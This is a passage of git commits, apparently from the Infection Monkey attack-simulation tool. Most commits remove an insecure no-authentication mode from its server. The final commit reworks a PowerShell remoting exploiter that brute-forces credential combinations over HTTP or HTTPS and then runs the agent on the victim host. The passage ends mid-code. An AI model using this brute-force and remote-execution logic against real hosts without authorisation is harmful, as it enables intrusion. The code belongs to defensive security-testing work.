-125,7 +124,6 @@ def init_api_resources(api): api.add_resource(Root, "/api") api.add_resource(Registration, "/api/registration") api.add_resource(Authenticate, "/api/auth") - api.add_resource(Environment, "/api/environment") api.add_resource(Monkey, "/api/monkey", "/api/monkey/", "/api/monkey/") api.add_resource(Bootloader, "/api/bootloader/") api.add_resource(LocalRun, "/api/local-monkey", "/api/local-monkey/") diff --git a/monkey/monkey_island/cc/resources/environment.py b/monkey/monkey_island/cc/resources/environment.py deleted file mode 100644 index feb0c138c..000000000 --- a/monkey/monkey_island/cc/resources/environment.py +++ /dev/null @@ -1,22 +0,0 @@ -import json -import logging - -import flask_restful -from flask import request - -import monkey_island.cc.environment.environment_singleton as env_singleton - -logger = logging.getLogger(__name__) - - -class Environment(flask_restful.Resource): - def patch(self): - env_data = json.loads(request.data) - if env_data["server_config"] == "standard": - if env_singleton.env.needs_registration(): - env_singleton.set_to_standard() - logger.warning( - "No user registered, Island on standard mode - no credentials required to " - "access." - ) - return {} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js index 90927da44..55a5fcebf 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js @@ -7,8 +7,6 @@ import ParticleBackground from '../ui-components/ParticleBackground'; class RegisterPageComponent extends React.Component { - NO_AUTH_API_ENDPOINT = '/api/environment'; - register = (event) => { event.preventDefault(); this.auth.register(this.username, this.password).then(res => { From 94878a0196dce147bdfddf4a3bfdf12029ed3021 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 1 Sep 2021 16:49:16 +0530 Subject: [PATCH 100/454] tests: Remove/modify tests and test data related to standard environment --- .../server_config_standard_env.json | 9 --------- ...rver_config_standard_with_credentials.json | 12 ------------ .../server_config_with_credentials.json | 1 + .../monkey_island/cc/environment/conftest.py | 5 ----- .../cc/environment/test_environment.py | 19 ------------------- .../cc/environment/test_environment_config.py | 16 ++++++++-------- 6 files changed, 9 insertions(+), 53 deletions(-) delete mode 100644 monkey/tests/data_for_tests/server_configs/server_config_standard_env.json delete mode 100644 monkey/tests/data_for_tests/server_configs/server_config_standard_with_credentials.json diff --git a/monkey/tests/data_for_tests/server_configs/server_config_standard_env.json b/monkey/tests/data_for_tests/server_configs/server_config_standard_env.json deleted file mode 100644 index 9c3a9899f..000000000 --- a/monkey/tests/data_for_tests/server_configs/server_config_standard_env.json +++ /dev/null @@ -1,9 +0,0 @@ -{ - "environment" : { - "server_config": "standard", - "deployment": "develop" - }, - "mongodb": { - "start_mongodb": true - } -} diff --git a/monkey/tests/data_for_tests/server_configs/server_config_standard_with_credentials.json b/monkey/tests/data_for_tests/server_configs/server_config_standard_with_credentials.json deleted file mode 100644 index 28d8653c8..000000000 --- a/monkey/tests/data_for_tests/server_configs/server_config_standard_with_credentials.json +++ /dev/null @@ -1,12 +0,0 @@ -{ - "log_level": "NOTICE", - "environment" : { - "server_config": "standard", - "deployment": "develop", - "user": "test", - "password_hash": "abcdef" - }, - "mongodb": { - "start_mongodb": true - } -} diff --git a/monkey/tests/data_for_tests/server_configs/server_config_with_credentials.json b/monkey/tests/data_for_tests/server_configs/server_config_with_credentials.json index 2f75c48fb..8690ef1c7 100644 --- a/monkey/tests/data_for_tests/server_configs/server_config_with_credentials.json +++ b/monkey/tests/data_for_tests/server_configs/server_config_with_credentials.json @@ -1,4 +1,5 @@ { + "log_level": "NOTICE", "environment" : { "server_config": "password", "deployment": "develop", diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/environment/conftest.py index 767f765d9..c5d7b46b7 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/environment/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/conftest.py @@ -16,8 +16,3 @@ def no_credentials(server_configs_dir): @pytest.fixture(scope="module") def partial_credentials(server_configs_dir): return os.path.join(server_configs_dir, "server_config_partial_credentials.json") - - -@pytest.fixture(scope="module") -def standard_with_credentials(server_configs_dir): - return os.path.join(server_configs_dir, "server_config_standard_with_credentials.json") diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment.py index 030f99169..10adea8b7 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment.py +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment.py @@ -17,8 +17,6 @@ from monkey_island.cc.environment import Environment, EnvironmentConfig, UserCre WITH_CREDENTIALS = None NO_CREDENTIALS = None PARTIAL_CREDENTIALS = None -STANDARD_WITH_CREDENTIALS = None -STANDARD_ENV = None EMPTY_USER_CREDENTIALS = UserCreds("", "") FULL_USER_CREDENTIALS = UserCreds(username="test", password_hash="1231234") @@ -31,16 +29,10 @@ def configure_resources(server_configs_dir): global WITH_CREDENTIALS global NO_CREDENTIALS global PARTIAL_CREDENTIALS - global STANDARD_WITH_CREDENTIALS - global STANDARD_ENV WITH_CREDENTIALS = os.path.join(server_configs_dir, "server_config_with_credentials.json") NO_CREDENTIALS = os.path.join(server_configs_dir, "server_config_no_credentials.json") PARTIAL_CREDENTIALS = os.path.join(server_configs_dir, "server_config_partial_credentials.json") - STANDARD_WITH_CREDENTIALS = os.path.join( - server_configs_dir, "server_config_standard_with_credentials.json" - ) - STANDARD_ENV = os.path.join(server_configs_dir, "server_config_standard_env.json") def get_tmp_file(): @@ -123,29 +115,18 @@ class TestEnvironment(TestCase): self._test_bool_env_method("needs_registration", env, NO_CREDENTIALS, True) self._test_bool_env_method("needs_registration", env, PARTIAL_CREDENTIALS, True) - env = TestEnvironment.EnvironmentCredentialsNotRequired() - self._test_bool_env_method("needs_registration", env, STANDARD_ENV, False) - self._test_bool_env_method("needs_registration", env, STANDARD_WITH_CREDENTIALS, False) - def test_is_registered(self): env = TestEnvironment.EnvironmentCredentialsRequired() self._test_bool_env_method("_is_registered", env, WITH_CREDENTIALS, True) self._test_bool_env_method("_is_registered", env, NO_CREDENTIALS, False) self._test_bool_env_method("_is_registered", env, PARTIAL_CREDENTIALS, False) - env = TestEnvironment.EnvironmentCredentialsNotRequired() - self._test_bool_env_method("_is_registered", env, STANDARD_ENV, False) - self._test_bool_env_method("_is_registered", env, STANDARD_WITH_CREDENTIALS, False) - def test_is_credentials_set_up(self): env = TestEnvironment.EnvironmentCredentialsRequired() self._test_bool_env_method("_is_credentials_set_up", env, NO_CREDENTIALS, False) self._test_bool_env_method("_is_credentials_set_up", env, WITH_CREDENTIALS, True) self._test_bool_env_method("_is_credentials_set_up", env, PARTIAL_CREDENTIALS, False) - env = TestEnvironment.EnvironmentCredentialsNotRequired() - self._test_bool_env_method("_is_credentials_set_up", env, STANDARD_ENV, False) - def _test_bool_env_method( self, method_name: str, env: Environment, config: Dict, expected_result: bool ): diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment_config.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment_config.py index 0e3efda04..52f0d96ca 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment_config.py @@ -40,8 +40,8 @@ def test_get_with_partial_credentials(partial_credentials): assert config_dict["user"] == "test" -def test_save_to_file(config_file, standard_with_credentials): - shutil.copyfile(standard_with_credentials, config_file) +def test_save_to_file(config_file, with_credentials): + shutil.copyfile(with_credentials, config_file) environment_config = EnvironmentConfig(config_file) environment_config.aws = "test_aws" @@ -53,8 +53,8 @@ def test_save_to_file(config_file, standard_with_credentials): assert environment_config.to_dict() == from_file["environment"] -def test_save_to_file_preserve_log_level(config_file, standard_with_credentials): - shutil.copyfile(standard_with_credentials, config_file) +def test_save_to_file_preserve_log_level(config_file, with_credentials): + shutil.copyfile(with_credentials, config_file) environment_config = EnvironmentConfig(config_file) environment_config.aws = "test_aws" @@ -67,12 +67,12 @@ def test_save_to_file_preserve_log_level(config_file, standard_with_credentials) assert from_file["log_level"] == "NOTICE" -def test_add_user(config_file, standard_with_credentials): +def test_add_user(config_file, with_credentials): new_user = "new_user" new_password_hash = "fedcba" new_user_creds = UserCreds(new_user, new_password_hash) - shutil.copyfile(standard_with_credentials, config_file) + shutil.copyfile(with_credentials, config_file) environment_config = EnvironmentConfig(config_file) environment_config.add_user(new_user_creds) @@ -85,8 +85,8 @@ def test_add_user(config_file, standard_with_credentials): assert from_file["environment"]["password_hash"] == new_password_hash -def test_get_users(standard_with_credentials): - environment_config = EnvironmentConfig(standard_with_credentials) +def test_get_users(with_credentials): + environment_config = EnvironmentConfig(with_credentials) users = environment_config.get_users() assert len(users) == 1 From 30a8fd96a8a809e3e35cec4880887ebe26031699 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 1 Sep 2021 16:51:27 +0530 Subject: [PATCH 101/454] cc: Remove CSS for the 'I want... island' button --- .../cc/ui/src/styles/pages/AuthPage.scss | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/AuthPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/AuthPage.scss index e3ecbd0e6..80bd54507 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/AuthPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/AuthPage.scss @@ -35,15 +35,3 @@ margin-bottom: 20px; text-align: center; } - -.no-auth-link { - margin-top: 10px; - float: right; - color: $monkey-black; - text-decoration: underline; -} - -.no-auth-link:hover { - float: right; - color: $monkey-yellow; -} From 8ef07bdca092292e4dc9e1fb9f2f0dfe4228791f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 1 Sep 2021 16:52:48 +0530 Subject: [PATCH 102/454] CHANGELOG: Update with insecure access removal --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 142a9029c..989d0204f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,6 +18,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - "Back door user" post-breach action. #1410 - Stale code in the Windows system info collector that collected installed packages and WMI info. #1389 +- Remove insecure access feature in the Monkey Island. #1418 ### Fixed - Misaligned buttons and input fields on exploiter and network configuration From ffd421bed6c6e23da2f99194378286abe71bae94 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 1 Sep 2021 18:01:13 +0530 Subject: [PATCH 103/454] cc: Remove authentication code related to standard environment --- .../cc/ui/src/components/Main.tsx | 72 +++++++++---------- .../cc/ui/src/components/pages/LoginPage.js | 11 ++- .../cc/ui/src/services/AuthService.js | 20 +----- 3 files changed, 43 insertions(+), 60 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index 65ecfc6be..cfd04b39d 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -67,7 +67,6 @@ class AppComponent extends AuthComponent { loading: true, completedSteps: completedSteps, islandMode: undefined, - noAuthLoginAttempted: undefined }; this.interval = undefined; this.setMode(); @@ -77,45 +76,44 @@ class AppComponent extends AuthComponent { if (this.state.isLoggedIn === false) { return } - this.auth.loggedIn() - .then(res => { - if (this.state.isLoggedIn !== res) { - this.setState({ - isLoggedIn: res - }); - } - if (!res) { - this.auth.needsRegistration() - .then(result => { - this.setState({ - needsRegistration: result - }); - }) - } + let res = this.auth.loggedIn(); - if (res) { - this.setMode() - .then(() => { - if (this.state.islandMode === null) { - return - } - this.authFetch('/api') - .then(res => res.json()) - .then(res => { - let completedSteps = CompletedSteps.buildFromResponse(res.completed_steps); - // This check is used to prevent unnecessary re-rendering - if (_.isEqual(this.state.completedSteps, completedSteps)) { - return; - } - this.setState({completedSteps: completedSteps}); - this.showInfectionDoneNotification(); - }); - } - ) - - } + if (this.state.isLoggedIn !== res) { + this.setState({ + isLoggedIn: res }); + } + + if (!res) { + this.auth.needsRegistration() + .then(result => { + this.setState({ + needsRegistration: result + }); + }) + } + + if (res) { + this.setMode() + .then(() => { + if (this.state.islandMode === null) { + return + } + this.authFetch('/api') + .then(res => res.json()) + .then(res => { + let completedSteps = CompletedSteps.buildFromResponse(res.completed_steps); + // This check is used to prevent unnecessary re-rendering + if (_.isEqual(this.state.completedSteps, completedSteps)) { + return; + } + this.setState({completedSteps: completedSteps}); + this.showInfectionDoneNotification(); + }); + } + ) + } }; setMode = () => { diff --git a/monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js b/monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js index 961c1899c..0a281157f 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js @@ -48,12 +48,11 @@ class LoginPageComponent extends React.Component { this.redirectToRegistration() } }) - this.auth.loggedIn() - .then(res => { - if (res) { - this.redirectToHome(); - } - }); + + if (this.auth.loggedIn()) { + this.redirectToHome(); + } + } render() { diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js index d7d1b9c2f..11cf37044 100644 --- a/monkey/monkey_island/cc/ui/src/services/AuthService.js +++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js @@ -1,8 +1,6 @@ import decode from 'jwt-decode'; export default class AuthService { - NO_AUTH_CREDS = '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'; - SECONDS_BEFORE_JWT_EXPIRES = 20; AUTHENTICATION_API_ENDPOINT = '/api/auth'; REGISTRATION_API_ENDPOINT = '/api/registration'; @@ -16,7 +14,7 @@ export default class AuthService { }; jwtHeader = () => { - if (this._loggedIn()) { + if (this.loggedIn()) { return 'Bearer ' + this._getToken(); } }; @@ -68,7 +66,7 @@ export default class AuthService { 'Content-Type': 'application/json' }; - if (this._loggedIn()) { + if (this.loggedIn()) { headers['Authorization'] = 'Bearer ' + this._getToken(); } @@ -101,19 +99,7 @@ export default class AuthService { }) }; - async loggedIn() { - let token = this._getToken(); - if ((token === null) || (this._isTokenExpired(token))) { - await this.attemptNoAuthLogin(); - } - return this._loggedIn(); - } - - attemptNoAuthLogin() { - return this._login(this.NO_AUTH_CREDS, this.NO_AUTH_CREDS); - } - - _loggedIn() { + loggedIn() { const token = this._getToken(); return ((token !== null) && !this._isTokenExpired(token)); } From f6561fb1abb9402a40bc9e0c750e217cf12dc53e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 1 Sep 2021 18:09:34 +0530 Subject: [PATCH 104/454] docs: Modify docs based on changes removing no auth option --- docs/content/FAQ/_index.md | 7 +++---- docs/content/setup/accounts-and-security.md | 2 -- 2 files changed, 3 insertions(+), 6 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 32ae18617..e2ccc2d7e 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -52,12 +52,11 @@ Monkey in the newly created folder. ## Reset/enable the Monkey Island password When you first access the Monkey Island server, you'll be prompted to create an account. -To reset the credentials or enable/disable the authentication, -edit the `server_config.json` file manually +To reset the credentials, edit the `server_config.json` file manually (located in the [data directory](/reference/data_directory)). In order to reset the credentials, the following edits need to be made: -1. Delete the `user` field if one exists. It will look like this: +1. Delete the `user` field. It will look like this: ```json { ... @@ -65,7 +64,7 @@ In order to reset the credentials, the following edits need to be made: ... } ``` -1. Delete the `password_hash` field if one exists. It will look like this: +1. Delete the `password_hash` field. It will look like this: ```json { ... diff --git a/docs/content/setup/accounts-and-security.md b/docs/content/setup/accounts-and-security.md index cd87c2f19..b5664bf95 100644 --- a/docs/content/setup/accounts-and-security.md +++ b/docs/content/setup/accounts-and-security.md @@ -11,8 +11,6 @@ tags: ["usage", "password"] The first time you launch Monkey Island (the Infection Monkey C&C server), you'll be prompted to create an account and secure your island. After account creation, the server will only be accessible via the credentials you entered. -If you want an island to be accessible without credentials, press *I want anyone to access the island*. Please note that this option is insecure, and you should only use it in development environments. - ## Resetting your account credentials This procedure is documented in [the FAQ]({{< ref "/faq/#how-do-i-reset-the-monkey-island-password" >}}). From b4e861cdd66b306a6cfdc30b19891bb34b7322cd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Sep 2021 08:54:54 -0400 Subject: [PATCH 105/454] Island: Remove disused set_server_config.py --- .../cc/environment/set_server_config.py | 66 ------------------- 1 file changed, 66 deletions(-) delete mode 100644 monkey/monkey_island/cc/environment/set_server_config.py diff --git a/monkey/monkey_island/cc/environment/set_server_config.py b/monkey/monkey_island/cc/environment/set_server_config.py deleted file mode 100644 index 490d92479..000000000 --- a/monkey/monkey_island/cc/environment/set_server_config.py +++ /dev/null @@ -1,66 +0,0 @@ -import argparse -import json -import logging -import sys -from pathlib import Path -from shutil import move - - -def add_monkey_dir_to_sys_path(): - monkey_path = Path(sys.path[0]) - monkey_path = monkey_path.parents[2] - sys.path.insert(0, monkey_path.__str__()) - - -add_monkey_dir_to_sys_path() - -from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH # noqa: E402 isort:skip - -SERVER_CONFIG = "server_config" -BACKUP_CONFIG_FILENAME = "./server_config.backup" - -logger = logging.getLogger(__name__) -logger.addHandler(logging.StreamHandler()) -logger.setLevel(logging.DEBUG) - - -def main(): - args = parse_args() - file_path = DEFAULT_SERVER_CONFIG_PATH - - if args.server_config == "restore": - restore_previous_config(file_path) - quit() - - # Read config - with open(file_path) as config_file: - config_data = json.load(config_file) - - # Backup the config - with open(BACKUP_CONFIG_FILENAME, "w") as backup_file: - json.dump(config_data, backup_file, indent=4) - backup_file.write("\n") - - # Edit the config - config_data[SERVER_CONFIG] = args.server_config - - # Write new config - logger.info("Writing the following config: {}".format(json.dumps(config_data, indent=4))) - with open(file_path, "w") as config_file: - json.dump(config_data, config_file, indent=4) - config_file.write("\n") # Have to add newline at end of file, since json.dump does not. - - -def parse_args(): - parser = argparse.ArgumentParser() - parser.add_argument("server_config", choices=["standard", "password", "restore"]) - args = parser.parse_args() - return args - - -def restore_previous_config(config_path): - move(BACKUP_CONFIG_FILENAME, config_path) - - -if __name__ == "__main__": - main() From b2e1b28059e298ae564e0bf82f453a5b73a3bce6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 1 Sep 2021 14:21:57 +0300 Subject: [PATCH 106/454] Add the capability to exploit powershell remoting over HTTP and improve the code style --- monkey/infection_monkey/Pipfile | 1 + monkey/infection_monkey/Pipfile.lock | 30 +++--- monkey/infection_monkey/exploit/powershell.py | 84 ++++++++++++----- .../exploit/powershell_utils/auth_options.py | 10 ++ .../powershell_utils/credential_generation.py | 46 +++++++++ .../exploit/powershell_utils/utils.py | 94 ++++++++----------- 6 files changed, 170 insertions(+), 95 deletions(-) create mode 100644 monkey/infection_monkey/exploit/powershell_utils/auth_options.py create mode 100644 monkey/infection_monkey/exploit/powershell_utils/credential_generation.py diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 75d430e9e..5c63ff709 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -30,6 +30,7 @@ WMI = {version = "==1.5.1", sys_platform = "== 'win32'"} ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"} pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl pypsrp = "*" +typing-extensions = "*" [dev-packages] diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index 7fa4d4807..53ff20a64 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "60705d888d53c68aebc3a324b4f22e472f35ed152c2e506d475fe639feb7e359" + "sha256": "96a125018d143a7446fe9b2849991c00d79f37c433694db77e616c1135baeaf9" }, "pipfile-spec": 6, "requires": { @@ -69,19 +69,19 @@ }, "boto3": { "hashes": [ - "sha256:7209b79833bdf13753aa24f76bf533890ffed2cc4fe1fe08619d223c209bbd11", - "sha256:f46c93d09acd4d4bfc6b9522ed852fecbdc508e0365f29ddfb3c146aae784b4e" + "sha256:461f659c06f9f56693cebbca70b11866f096021eafbd949a3c029c3a8adee6a4", + "sha256:596d2afda27ae3d9a10112a475aa25c4d6b5cf023919e370ad8e6c6ae04d57a6" ], "markers": "python_version >= '3.6'", - "version": "==1.18.27" + "version": "==1.18.33" }, "botocore": { "hashes": [ - "sha256:8c99abd7093ab11ce8d09c68732aeeb6065a53d2fe371568452e99291817fff5", - "sha256:b9e2c90bad164d111c229102f58f995c28576e719dd116b446965e1b786f8fa5" + "sha256:204327b9a33e3ae5207ff9acdd7d3b6d1f99f5dc9165a4d843d6f1a566f3006c", + "sha256:b321b570a0da4c6280e737d817c8f740bce0ef914f564e1c27246c7ae76b4c31" ], "markers": "python_version >= '3.6'", - "version": "==1.21.27" + "version": "==1.21.33" }, "certifi": { "hashes": [ @@ -441,11 +441,11 @@ }, "minidump": { "hashes": [ - "sha256:7f341d62b5a6ea961d6230e35c2cb68c5b1d258403411b6e4c58aa0c317cf498", - "sha256:b9fe0a65cf42d60591807bb8b6d9357e92f6a46f2851befdbaf08894722d07ff" + "sha256:67b3327cb96e319633653a353c6281703772335dc84797d6fdce7daf0b3be077", + "sha256:fdd9eb4566b6d3dabc205bf644ded724067bdbdb453eb418565261e5520b3537" ], "markers": "python_version >= '3.6'", - "version": "==0.0.18" + "version": "==0.0.19" }, "minikerberos": { "hashes": [ @@ -969,12 +969,12 @@ }, "typing-extensions": { "hashes": [ - "sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497", - "sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342", - "sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84" + "sha256:49f75d16ff11f1cd258e1b988ccff82a3ca5570217d7ad8c5f48205dd99a677e", + "sha256:d8226d10bc02a29bcc81df19a26e56a9647f8b0a6d4a83924139f4a8b01f17b7", + "sha256:f1d25edafde516b146ecd0613dabcc61409817af4766fbbcfb8d1ad4ec441a34" ], - "markers": "python_version < '3.8'", - "version": "==3.10.0.0" + "index": "pypi", + "version": "==3.10.0.2" }, "urllib3": { "hashes": [ diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index f109724da..8a6aa9927 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -4,7 +4,7 @@ from typing import Optional, Union import pypsrp import spnego -from pypsrp.client import Client +from pypsrp.exceptions import AuthenticationError from pypsrp.powershell import PowerShell, RunspacePool from urllib3 import connectionpool @@ -13,6 +13,12 @@ from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.powershell_utils import utils +from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.credential_generator import CredentialGenerator +from infection_monkey.exploit.powershell_utils.utils import ( + IClient, + get_client_based_on_auth_options, +) from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os from infection_monkey.model import GET_ARCH_WINDOWS, VictimHost from infection_monkey.utils.environment import is_windows_os @@ -41,49 +47,79 @@ class PowerShellExploiter(HostExploiter): logging.getLogger(package.__name__).setLevel(logging.ERROR) def _exploit_host(self): - self.client = self._authenticate_via_brute_force() + is_https = self._is_client_using_https() + credentials = CredentialGenerator( + self.host.ip_addr, + self._config.exploit_user_list, + self._config.exploit_password_list, + is_windows_os(), + ).get_credentials(is_https=is_https) + + self.client = self._authenticate_via_brute_force(credentials) if not self.client: return False return self._execute_monkey_agent_on_victim() - def _authenticate_via_brute_force(self) -> Optional[Client]: - credentials = utils.get_credentials( - self._config.exploit_user_list, self._config.exploit_password_list, is_windows_os() - ) + def _is_client_using_https(self) -> bool: + try: + self._try_http() + return False + except AuthenticationError: + return False + except Exception: + pass - for username, password in credentials: + try: + self._try_https() + return True + except AuthenticationError: + return True + except Exception: + raise Exception("Powershell remoting seems to be disabled.") + + def _try_http(self): + auth_options_http = AuthOptions( + ip_addr=self.host.ip_addr, + username=self._config.exploit_user_list[0], + password=self._config.exploit_password_list[0], + is_https=False, + ) + self._authenticate(auth_options_http) + + def _try_https(self): + auth_options_http = AuthOptions( + ip_addr=self.host.ip_addr, + username=self._config.exploit_user_list[0], + password=self._config.exploit_password_list[0], + is_https=True, + ) + self._authenticate(auth_options_http) + + def _authenticate_via_brute_force(self, credentials: [AuthOptions]) -> Optional[IClient]: + for credential in credentials: try: - client = self._authenticate(username, password) + client = PowerShellExploiter._authenticate(credential) LOG.info( f"Successfully logged into {self.host.ip_addr} using Powershell. User: " - f"{username}" + f"{credential.username}" ) - self.report_login_attempt(True, username, password) + self.report_login_attempt(True, credential.username, credential.password) return client except Exception as ex: # noqa: F841 LOG.debug( f"Error logging into {self.host.ip_addr} using Powershell. User: " - f"{username}, Error: {ex}" + f"{credential.username}, Error: {ex}" ) - self.report_login_attempt(False, username, password) + self.report_login_attempt(False, credential.username, credential.password) return None - def _authenticate(self, username: Optional[str], password: Optional[str]) -> Client: - (ssl, auth, encryption) = utils.get_powershell_client_params(password) - client = Client( - self.host.ip_addr, - username=username, - password=password, - cert_validation=False, - ssl=ssl, - auth=auth, - encryption=encryption, - connection_timeout=3, - ) + @staticmethod + def _authenticate(auth_options: AuthOptions) -> IClient: + client = get_client_based_on_auth_options(auth_options) # attempt to execute dir command to know if authentication was successful client.execute_cmd("dir") diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py new file mode 100644 index 000000000..2ffd16848 --- /dev/null +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py @@ -0,0 +1,10 @@ +from dataclasses import dataclass +from typing import Union + + +@dataclass +class AuthOptions: + ip_addr: str + username: Union[str, None] + password: Union[str, None] + is_https: bool diff --git a/monkey/infection_monkey/exploit/powershell_utils/credential_generation.py b/monkey/infection_monkey/exploit/powershell_utils/credential_generation.py new file mode 100644 index 000000000..a376555ca --- /dev/null +++ b/monkey/infection_monkey/exploit/powershell_utils/credential_generation.py @@ -0,0 +1,46 @@ +from itertools import product +from typing import List + +from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions + + +def get_credentials( + usernames: List[str], passwords: List[str], is_windows: bool, is_https: bool +) -> List[AuthOptions]: + credentials = [] + credentials.extend(_get_empty_credentials(is_windows)) + credentials.extend(_get_username_only_credentials(usernames, is_windows)) + credentials.extend(_get_username_password_credentials(usernames, passwords, is_https=is_https)) + + return credentials + + +def _get_empty_credentials(is_windows: bool) -> List[AuthOptions]: + if is_windows: + return [AuthOptions(username=None, password=None, is_https=False)] + + return [] + + +def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[AuthOptions]: + credentials = [ + AuthOptions(username=username, password="", is_https=False) for username in usernames + ] + + if is_windows: + credentials.extend( + [AuthOptions(username=username, password=None, is_https=True) for username in usernames] + ) + + return credentials + + +def _get_username_password_credentials( + usernames: List[str], passwords: List[str], is_https: bool +) -> List[AuthOptions]: + username_password_pairs = product(usernames, passwords) + + return [ + AuthOptions(credentials[0], credentials[1], is_https=is_https) + for credentials in username_password_pairs + ] diff --git a/monkey/infection_monkey/exploit/powershell_utils/utils.py b/monkey/infection_monkey/exploit/powershell_utils/utils.py index 1da859fe9..d426cc6f9 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/utils.py +++ b/monkey/infection_monkey/exploit/powershell_utils/utils.py @@ -1,63 +1,10 @@ -from itertools import product -from typing import List, Optional, Tuple +from pypsrp.client import Client +from typing_extensions import Protocol +from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost from infection_monkey.utils.commands import build_monkey_commandline -AUTH_BASIC = "basic" -AUTH_NEGOTIATE = "negotiate" -ENCRYPTION_AUTO = "auto" -ENCRYPTION_NEVER = "never" - - -def get_credentials( - usernames: List[str], passwords: List[str], is_windows: bool -) -> List[Tuple[Optional[str], Optional[str]]]: - # When username or password is None, this instructs the powershell client to attempt to use - # The current user's credentials. This is only valid if the client is running from a Windows - # machine. - - credentials = [] - credentials.extend(_get_empty_credentials(is_windows)) - credentials.extend(_get_username_only_credentials(usernames, is_windows)) - credentials.extend(_get_username_password_credentials(usernames, passwords)) - - return credentials - - -def _get_empty_credentials(is_windows: bool) -> List[Tuple[None, None]]: - if is_windows: - return [(None, None)] - - return [] - - -def _get_username_only_credentials( - usernames: List[str], is_windows: bool -) -> List[Tuple[str, Optional[str]]]: - credentials = [(username, "") for username in usernames] - - if is_windows: - credentials.extend([(username, None) for username in usernames]) - - return credentials - - -def _get_username_password_credentials( - usernames: List[str], passwords: List[str] -) -> List[Tuple[str, str]]: - username_password_pairs = product(usernames, passwords) - - return [credentials for credentials in username_password_pairs] - - -def get_powershell_client_params(password: str) -> Tuple[bool, str, str]: - ssl = password != "" - auth = AUTH_NEGOTIATE if password != "" else AUTH_BASIC - encryption = ENCRYPTION_AUTO if password != "" else ENCRYPTION_NEVER - - return (ssl, auth, encryption) - def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str: monkey_params = build_monkey_commandline( @@ -72,3 +19,38 @@ def build_monkey_execution_command(host: VictimHost, depth: int, executable_path "monkey_type": 